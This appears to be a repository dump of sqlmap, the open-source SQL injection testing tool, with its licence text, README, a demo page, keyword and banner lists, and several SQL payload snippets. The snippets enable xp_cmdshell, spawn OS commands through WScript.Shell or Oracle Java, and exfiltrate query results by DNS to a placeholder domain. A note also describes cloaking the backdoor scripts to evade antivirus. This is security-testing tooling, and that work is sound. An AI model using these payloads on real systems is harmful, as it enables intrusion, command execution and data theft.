these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.
7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all. For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.
If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded. In such case, this License incorporates
the limitation as if written in the body of this License.
9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation. If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission. For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this. Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.
NO WARRANTY
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
END OF TERMS AND CONDITIONS
+73
View File
@@ -0,0 +1,73 @@
# sqlmap ![](https://i.imgur.com/fe85aVR.png)
[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections.
Screenshots
----
![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
You can visit the [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrating some of the features on the wiki.
Installation
----
You can download the latest tarball by clicking [here](https://github.com/sqlmapproject/sqlmap/tarball/master) or latest zipball by clicking [here](https://github.com/sqlmapproject/sqlmap/zipball/master).
Preferably, you can download sqlmap by cloning the [Git](https://github.com/sqlmapproject/sqlmap) repository:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap works out of the box with [Python](http://www.python.org/download/) version **2.6**, **2.7** and **3.x** on any platform.
Usage
----
To get a list of basic options and switches use:
python sqlmap.py -h
To get a list of all options and switches use:
python sqlmap.py -hh
You can find a sample run [here](https://asciinema.org/a/46601).
To get an overview of sqlmap capabilities, a list of supported features, and a description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Links
----
* Homepage: https://sqlmap.org
* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
* User's manual: https://github.com/sqlmapproject/sqlmap/wiki
* Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
* Demos: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
Translations
----
* [Bulgarian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-bg-BG.md)
* [Chinese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-zh-CN.md)
* [Croatian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-hr-HR.md)
* [French](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fr-FR.md)
* [German](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-de-GER.md)
* [Greek](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-gr-GR.md)
* [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md)
* [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md)
* [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
* [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md)
* [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-IR.md)
* [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md)
* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md)
* [Serbian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-rs-RS.md)
* [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md)
* [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md)
* [Ukrainian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-uk-UA.md)
* [Vietnamese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-vi-VN.md)
+151
View File
@@ -0,0 +1,151 @@
<!DOCTYPE html>
<!-- http://angrytools.com/bootstrap/editor/ -->
<html lang="en">
<head>
<title>DEMO</title>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap.min.css" rel="stylesheet">
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap-theme.min.css" rel="stylesheet">
<!--[if lt IE 9]><script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script><script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script><![endif]-->
</head>
<body>
<style>
#wrapper { width: 100%; }
#page-wrapper {
padding: 0 15px;
min-height: 568px;
background-color: #fff;
}
@media(min-width:768px) {
#page-wrapper {
position: inherit;
margin: 0 0 0 250px;
padding: 0 30px;
border-left: 1px solid #e7e7e7;
}
}
.sidebar .sidebar-nav.navbar-collapse { padding-right: 0; padding-left: 0; }
.sidebar .sidebar-search { padding: 15px; }
.sidebar ul li { border-bottom: 1px solid #e7e7e7; }
.sidebar ul li a.active { background-color: #eee; }
.sidebar .arrow { float: right;}
.sidebar .fa.arrow:before { content: "f104";}
.sidebar .active>a>.fa.arrow:before { content: "f107"; }
.sidebar .nav-second-level li,
.sidebar .nav-third-level li {
border-bottom: 0!important;
}
.sidebar .nav-second-level li a { padding-left: 37px; }
.sidebar .nav-third-level li a { padding-left: 52px; }
@media(min-width:768px) {
.sidebar {
z-index: 1;
position: absolute;
width: 250px;
margin-top: 51px;
}
}
</style>
<div id="wrapper">
<nav class="navbar navbar-default navbar-static-top" role="navigation" style="margin-bottom: 0">
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="index.html">sqlmap</a>
</div>
<div class="navbar-default sidebar" role="navigation">
<div class="sidebar-nav navbar-collapse">
<ul class="nav" id="side-menu">
<li>
<a href="#"><em class="glyphicon glyphicon-home"></em> Options<span class="arrow"></span></a>
<ul class="nav nav-second-level">
<li><a>Target</a></li>
<li><a>Request</a></li>
<li><a>Optimization</a></li>
<li><a>Injection</a></li>
<li><a>Detection</a></li>
<li><a>Techniques</a></li>
<li><a>Fingerprint</a></li>
<li><a>Enumeration</a></li>
<li><a>Brute force</a></li>
<li><a>User-defined function injection</a></li>
<li><a>File system access</a></li>
<li><a>Operating system access</a></li>
<li><a>Windows registry access</a></li>
<li><a>General</a></li>
<li><a>Miscellaneous</a></li>
</ul>
</li>
</ul>
</div>
</div>
</nav>
<div id="page-wrapper">
<div class="row">
<h4>DEMO</h4>
</div>
</div>
</div>
<script>
/*
* metismenu - v1.0.3
* Easy menu jQuery plugin for Twitter Bootstrap 3
* https://github.com/onokumus/metisMenu
*
* Made by Osman Nuri Okumuş
* Under MIT License
*/
!function(a,b,c){function d(b,c){this.element=b,this.settings=a.extend({},f,c),this._defaults=f,this._name=e,this.init()}var e="metisMenu",f={toggle:!0};d.prototype={init:function(){var b=a(this.element),c=this.settings.toggle;this.isIE()<=9?(b.find("li.active").has("ul").children("ul").collapse("show"),b.find("li").not(".active").has("ul").children("ul").collapse("hide")):(b.find("li.active").has("ul").children("ul").addClass("collapse in"),b.find("li").not(".active").has("ul").children("ul").addClass("collapse")),b.find("li").has("ul").children("a").on("click",function(b){b.preventDefault(),a(this).parent("li").toggleClass("active").children("ul").collapse("toggle"),c&&a(this).parent("li").siblings().removeClass("active").children("ul.in").collapse("hide")})},isIE:function(){for(var a,b=3,d=c.createElement("div"),e=d.getElementsByTagName("i");d.innerHTML="<!--[if gt IE "+ ++b+"]><i></i><![endif]-->",e[0];)return b>4?b:a}},a.fn[e]=function(b){return this.each(function(){a.data(this,"plugin_"+e)||a.data(this,"plugin_"+e,new d(this,b))})}}(jQuery,window,document);
$(function() {
$('#side-menu').metisMenu();
});
//Loads the correct sidebar on window load,
//collapses the sidebar on window resize.
// Sets the min-height of #page-wrapper to window size
$(function() {
$(window).bind("load resize", function() {
topOffset = 50;
width = (this.window.innerWidth > 0) ? this.window.innerWidth : this.screen.width;
if (width < 768) {
$('div.navbar-collapse').addClass('collapse')
topOffset = 100; // 2-row-menu
} else {
$('div.navbar-collapse').removeClass('collapse')
}
height = (this.window.innerHeight > 0) ? this.window.innerHeight : this.screen.height;
height = height - topOffset;
if (height < 1) height = 1;
if (height > topOffset) {
$("#page-wrapper").css("min-height", (height) + "px");
}
})
});
</script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/js/bootstrap.min.js"></script>
</body>
</html>
+4
View File
@@ -0,0 +1,4 @@
Files in this folder represent SQL snippets used by sqlmap on the target
system.
They are licensed under the terms of the GNU Lesser General Public License
where not specified otherwise.
@@ -0,0 +1,4 @@
EXEC master..sp_configure 'show advanced options',1;
RECONFIGURE WITH OVERRIDE;
EXEC master..sp_configure 'ole automation procedures',1;
RECONFIGURE WITH OVERRIDE
@@ -0,0 +1,6 @@
EXEC master..sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC master..sp_configure 'Ad Hoc Distributed Queries', %ENABLE%;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
RECONFIGURE WITH OVERRIDE
@@ -0,0 +1,6 @@
EXEC master..sp_configure 'show advanced options',1;
RECONFIGURE WITH OVERRIDE;
EXEC master..sp_configure 'xp_cmdshell',%ENABLE%;
RECONFIGURE WITH OVERRIDE;
EXEC master..sp_configure 'show advanced options',0;
RECONFIGURE WITH OVERRIDE
@@ -0,0 +1,3 @@
DECLARE @%RANDSTR% nvarchar(999);
set @%RANDSTR%='CREATE PROCEDURE new_xp_cmdshell(@cmd varchar(255)) AS DECLARE @ID int EXEC sp_OACreate ''WScript.Shell'',@ID OUT EXEC sp_OAMethod @ID,''Run'',Null,@cmd,0,1 EXEC sp_OADestroy @ID';
EXEC master..sp_executesql @%RANDSTR%
@@ -0,0 +1 @@
EXEC master..sp_dropextendedproc 'xp_cmdshell'
+4
View File
@@ -0,0 +1,4 @@
DECLARE @host varchar(1024);
SELECT @host='%PREFIX%.'+(%QUERY%)+'.%SUFFIX%.%DOMAIN%';
EXEC('master..xp_dirtree "\\'+@host+'\%RANDSTR1%"')
# or EXEC('master..xp_fileexist "\\'+@host+'\%RANDSTR1%"')
@@ -0,0 +1 @@
EXEC master..sp_addextendedproc 'xp_cmdshell', @dllname='xplog70.dll'
@@ -0,0 +1,3 @@
SELECT * FROM OPENROWSET('SQLOLEDB','';'%USER%';'%PASSWORD%','SET FMTONLY OFF %STATEMENT%')
# SELECT * FROM OPENROWSET('SQLNCLI', 'server=(local);trusted_connection=yes','SET FMTONLY OFF SELECT 1;%STATEMENT%')
# SELECT * FROM OPENROWSET('SQLOLEDB','Network=DBMSSOCN;Address=;uid=%USER%;pwd=%PASSWORD%','SET FMTONLY OFF %STATEMENT%')
+1
View File
@@ -0,0 +1 @@
SELECT LOAD_FILE(CONCAT('\\\\%PREFIX%.',(%QUERY%),'.%SUFFIX%.%DOMAIN%\\%RANDSTR1%'))
+1
View File
@@ -0,0 +1 @@
LIMIT 0,1 INTO OUTFILE '%OUTFILE%' LINES TERMINATED BY 0x%HEXSTRING%-- -
+2
View File
@@ -0,0 +1,2 @@
SELECT UTL_INADDR.GET_HOST_ADDRESS('%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL
# or SELECT UTL_HTTP.REQUEST('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL
@@ -0,0 +1,4 @@
SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "OsUtil" as import java.io.*; public class OsUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) FROM DUAL
SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) FROM DUAL
SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function OSREADFILE(filename in varchar2) return varchar2 as language java name ''''''''OsUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) FROM DUAL
SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on OSREADFILE to public'''';END;'';END;--','SYS',0,'1',0) FROM DUAL
+14
View File
@@ -0,0 +1,14 @@
DROP TABLE IF EXISTS %RANDSTR1%;
# https://wiki.postgresql.org/wiki/CREATE_OR_REPLACE_LANGUAGE <- if "CREATE LANGUAGE plpgsql" is required
CREATE TABLE %RANDSTR1%(%RANDSTR2% text);
CREATE OR REPLACE FUNCTION %RANDSTR3%()
RETURNS VOID AS $$
DECLARE %RANDSTR4% TEXT;
DECLARE %RANDSTR5% TEXT;
BEGIN
SELECT INTO %RANDSTR5% (%QUERY%);
%RANDSTR4% := E'COPY %RANDSTR1%(%RANDSTR2%) FROM E\'\\\\\\\\%PREFIX%.'||%RANDSTR5%||E'.%SUFFIX%.%DOMAIN%\\\\%RANDSTR6%\'';
EXECUTE %RANDSTR4%;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT %RANDSTR3%();
+7
View File
@@ -0,0 +1,7 @@
Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../../extra/cloak/cloak.py utility.
To prepare the original scripts to the cloaked form use this command:
find backdoors/backdoor.* stagers/stager.* -type f -exec python ../../extra/cloak/cloak.py -i '{}' \;
To get back them into the original form use this:
find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../../extra/cloak/cloak.py -d -i '{}' \;
Binary file not shown.
Binary file not shown.
+5
View File
@@ -0,0 +1,5 @@
=ÒÂá2nduÌŒ¡d0ÂÔ õÜ”=YïR$ú×_~±™Ø#tÈ
5ßãÀ¾Üc¨= iÏÔA°·^:CS–ö°5i@´±ÛÆ º<è/*¸òU%æP4 $ ™K‰Ú®Û")cúJ7
‡‚�½ŒÓSvÚz lB-'‹•Ùbœg‰W>AóqØ7Yê²Ýõ:ŠÙMI0³ÁÈ®‘TÙÍ<–1Cá–;DÚ:mK(×Þ {Hàsxd™Ÿùq×…lo¿ŒQß•Åâw8¬ÿ’Õ¸›Ï‹§'­‘a4Ž£ÍóÌCnõ,0£ó1}wMýÔÆM6dßç“ÑB4Ï/Îxg_�¦æFÆ%­Á›óá ÅI|ÒJ>ù”|µÍfr­ËœT,OÄ⥠®P¿¯T¶›G ó?²O9ðBñSáRºC
Ò
ö‹ö·2}^Þ5<$iãnÀ¨ô“s³Ú¤¾Ñ^9"wí…£°ˆqW†‡–W
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
@@ -1,5 +1,5 @@
# Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
# See the file 'doc/COPYING' for copying permission
# Copyright (c) 2006-2021 sqlmap developers (https://sqlmap.org/)
# See the file 'LICENSE' for copying permission
[Banners]
@@ -11,32 +11,65 @@
5.0.
5.1.
5.5.
5.6.
5.7.
6.0.
8.0.
# PostgreSQL
PostgreSQL 7.0
PostgreSQL 7.1
PostgreSQL 7.2
PostgreSQL 7.3
PostgreSQL 7.4
PostgreSQL 8.0
PostgreSQL 8.1
PostgreSQL 8.2
PostgreSQL 8.3
PostgreSQL 8.4
PostgreSQL 8.5
PostgreSQL 9.0
PostgreSQL 9.1
PostgreSQL 9.2
PostgreSQL 9.3
PostgreSQL 9.4
PostgreSQL 9.5
PostgreSQL 9.6
PostgreSQL 10.
PostgreSQL 11.
PostgreSQL 12.
PostgreSQL 13.
# Oracle
Oracle Database 9i Standard Edition Release
Oracle Database 9i Standard Edition Release 9.
Oracle Database 9i Express Edition Release
Oracle Database 9i Express Edition Release 9.
Oracle Database 9i Enterprise Edition Release
Oracle Database 9i Enterprise Edition Release 9.
Oracle Database 10g Standard Edition Release
Oracle Database 10g Standard Edition Release 10.
Oracle Database 10g Express Edition Release
Oracle Database 10g Enterprise Edition Release
Oracle Database 10g Enterprise Edition Release 10.
Oracle Database 11g Standard Edition Release
Oracle Database 11g Standard Edition Release 11.
Oracle Database 11g Express Edition Release
Oracle Database 11g Express Edition Release 11.
Oracle Database 11g Enterprise Edition Release
Oracle Database 11g Enterprise Edition Release 11.
Oracle Database 12c
# Microsoft SQL Server
Microsoft SQL Server 7.0
Microsoft SQL Server 2000
Microsoft SQL Server 2005
Microsoft SQL Server 2008
Microsoft SQL Server 2012
Microsoft SQL Server 2014
Microsoft SQL Server 2016
Microsoft SQL Server 2017
Microsoft SQL Server 2019
[Users]
@@ -1064,3 +1097,99 @@ Update_priv
User
x509_issuer
x509_subject
# Oracle (types)
BINARY_INTEGER
BLOB
BOOLEAN
CHAR
CLOB
DATE
INTERVAL
LONG
MLSLABEL
NCHAR
NCLOB
NUMBER
NVARCHAR2
RAW
ROWID
TIMESTAMP
VARCHAR
VARCHAR2
XMLType
# MySQL (types)
bigint
blob
char
date
datetime
decimal
double
enum
float
int
set
smallint
text
time
tinyint
varchar
year
# Microsoft SQL Server (types)
bigint
binary
bit
char
cursor
date
datetime
datetime2
datetimeoffset
decimal
float
image
int
money
nchar
ntext
numeric
nvarchar
real
smalldatetime
smallint
smallmoney
sql_variant
table
text
time
timestamp
tinyint
uniqueidentifier
varbinary
varchar
xml
# PostgreSQL (types)
bigint
bigserial
boolean
bpchar
bytea
character
date
decimal
double precision
int4
integer
interval
money
numeric
real
serial
smallint
text
time
timestamp
File diff suppressed because it is too large Load Diff
+874
View File
@@ -0,0 +1,874 @@
# Copyright (c) 2006-2021 sqlmap developers (https://sqlmap.org/)
# See the file 'LICENSE' for copying permission
# SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml)
ABSOLUTE
ACTION
ADD
ALL
ALLOCATE
ALTER
AND
ANY
ARE
AS
ASC
ASSERTION
AT
AUTHORIZATION
AVG
BEGIN
BETWEEN
BIT
BIT_LENGTH
BOTH
BY
CALL
CASCADE
CASCADED
CASE
CAST
CATALOG
CHAR
CHAR_LENGTH
CHARACTER
CHARACTER_LENGTH
CHECK
CLOSE
COALESCE
COLLATE
COLLATION
COLUMN
COMMIT
CONDITION
CONNECT
CONNECTION
CONSTRAINT
CONSTRAINTS
CONTAINS
CONTINUE
CONVERT
CORRESPONDING
COUNT
CREATE
CROSS
CURRENT
CURRENT_DATE
CURRENT_PATH
CURRENT_TIME
CURRENT_TIMESTAMP
CURRENT_USER
CURSOR
DATE
DAY
DEALLOCATE
DEC
DECIMAL
DECLARE
DEFAULT
DEFERRABLE
DEFERRED
DELETE
DESC
DESCRIBE
DESCRIPTOR
DETERMINISTIC
DIAGNOSTICS
DISCONNECT
DISTINCT
DO
DOMAIN
DOUBLE
DROP
ELSE
ELSEIF
END
ESCAPE
EXCEPT
EXCEPTION
EXEC
EXECUTE
EXISTS
EXIT
EXTERNAL
EXTRACT
FALSE
FETCH
FIRST
FLOAT
FOR
FOREIGN
FOUND
FROM
FULL
FUNCTION
GET
GLOBAL
GO
GOTO
GRANT
GROUP
HANDLER
HAVING
HOUR
IDENTITY
IF
IMMEDIATE
IN
INDICATOR
INITIALLY
INNER
INOUT
INPUT
INSENSITIVE
INSERT
INT
INTEGER
INTERSECT
INTERVAL
INTO
IS
ISOLATION
JOIN
KEY
LANGUAGE
LAST
LEADING
LEAVE
LEFT
LEVEL
LIKE
LOCAL
LOOP
LOWER
MATCH
MAX
MIN
MINUTE
MODULE
MONTH
NAMES
NATIONAL
NATURAL
NCHAR
NEXT
NO
NOT
NULL
NULLIF
NUMERIC
OCTET_LENGTH
OF
ON
ONLY
OPEN
OPTION
OR
ORDER
OUT
OUTER
OUTPUT
OVERLAPS
PAD
PARAMETER
PARTIAL
PATH
POSITION
PRECISION
PREPARE
PRESERVE
PRIMARY
PRIOR
PRIVILEGES
PROCEDURE
READ
REAL
REFERENCES
RELATIVE
REPEAT
RESIGNAL
RESTRICT
RETURN
RETURNS
REVOKE
RIGHT
ROLLBACK
ROUTINE
ROWS
SCHEMA
SCROLL
SECOND
SECTION
SELECT
SESSION
SESSION_USER
SET
SIGNAL
SIZE
SMALLINT
SOME
SPACE
SPECIFIC
SQL
SQLCODE
SQLERROR
SQLEXCEPTION
SQLSTATE
SQLWARNING
SUBSTRING
SUM
SYSTEM_USER
TABLE
TEMPORARY
THEN
TIME
TIMESTAMP
TIMEZONE_HOUR
TIMEZONE_MINUTE
TO
TRAILING
TRANSACTION
TRANSLATE
TRANSLATION
TRIM
TRUE
UNDO
UNION
UNIQUE
UNKNOWN
UNTIL
UPDATE
UPPER
USAGE
USER
USING
VALUE
VALUES
VARCHAR
VARYING
VIEW
WHEN
WHENEVER
WHERE
WHILE
WITH
WORK
WRITE
YEAR
ZONE
# MySQL 5.0 keywords (reference: http://dev.mysql.com/doc/refman/5.0/en/reserved-words.html)
ADD
ALL
ALTER
ANALYZE
AND
ASASC
ASENSITIVE
BEFORE
BETWEEN
BIGINT
BINARYBLOB
BOTH
BY
CALL
CASCADE
CASECHANGE
CAST
CHAR
CHARACTER
CHECK
COLLATE
COLUMN
CONCAT
CONDITIONCONSTRAINT
CONTINUE
CONVERT
CREATE
CROSS
CURRENT_DATE
CURRENT_TIMECURRENT_TIMESTAMP
CURRENT_USER
CURSOR
DATABASE
DATABASES
DAY_HOUR
DAY_MICROSECONDDAY_MINUTE
DAY_SECOND
DEC
DECIMAL
DECLARE
DEFAULTDELAYED
DELETE
DESC
DESCRIBE
DETERMINISTIC
DISTINCTDISTINCTROW
DIV
DOUBLE
DROP
DUAL
EACH
ELSEELSEIF
ENCLOSED
ESCAPED
EXISTS
EXIT
EXPLAIN
FALSEFETCH
FLOAT
FLOAT4
FLOAT8
FOR
FORCE
FOREIGNFROM
FULLTEXT
GRANT
GROUP
HAVING
HIGH_PRIORITYHOUR_MICROSECOND
HOUR_MINUTE
HOUR_SECOND
IF
IFNULL
IGNORE
ININDEX
INFILE
INNER
INOUT
INSENSITIVE
INSERT
INTINT1
INT2
INT3
INT4
INT8
INTEGER
INTERVALINTO
IS
ISNULL
ITERATE
JOIN
KEY
KEYS
KILLLEADING
LEAVE
LEFT
LIKE
LIMIT
LINESLOAD
LOCALTIME
LOCALTIMESTAMP
LOCK
LONG
LONGBLOBLONGTEXT
LOOP
LOW_PRIORITY
MATCH
MEDIUMBLOB
MEDIUMINT
MEDIUMTEXTMIDDLEINT
MINUTE_MICROSECOND
MINUTE_SECOND
MOD
MODIFIES
NATURAL
NOTNO_WRITE_TO_BINLOG
NULL
NUMERIC
ON
OPTIMIZE
OPTION
OPTIONALLYOR
ORDER
OUT
OUTER
OUTFILE
PRECISIONPRIMARY
PROCEDURE
PURGE
READ
READS
REALREFERENCES
REGEXP
RELEASE
RENAME
REPEAT
REPLACE
REQUIRERESTRICT
RETURN
REVOKE
RIGHT
RLIKE
SCHEMA
SCHEMASSECOND_MICROSECOND
SELECT
SENSITIVE
SEPARATOR
SET
SHOW
SMALLINTSONAME
SPATIAL
SPECIFIC
SQL
SQLEXCEPTION
SQLSTATESQLWARNING
SQL_BIG_RESULT
SQL_CALC_FOUND_ROWS
SQL_SMALL_RESULT
SSL
STARTINGSTRAIGHT_JOIN
TABLE
TERMINATED
THEN
TINYBLOB
TINYINT
TINYTEXTTO
TRAILING
TRIGGER
TRUE
UNDO
UNION
UNIQUEUNLOCK
UNSIGNED
UPDATE
USAGE
USE
USING
UTC_DATEUTC_TIME
UTC_TIMESTAMP
VALUES
VARBINARY
VARCHAR
VARCHARACTERVARYING
VERSION
WHEN
WHERE
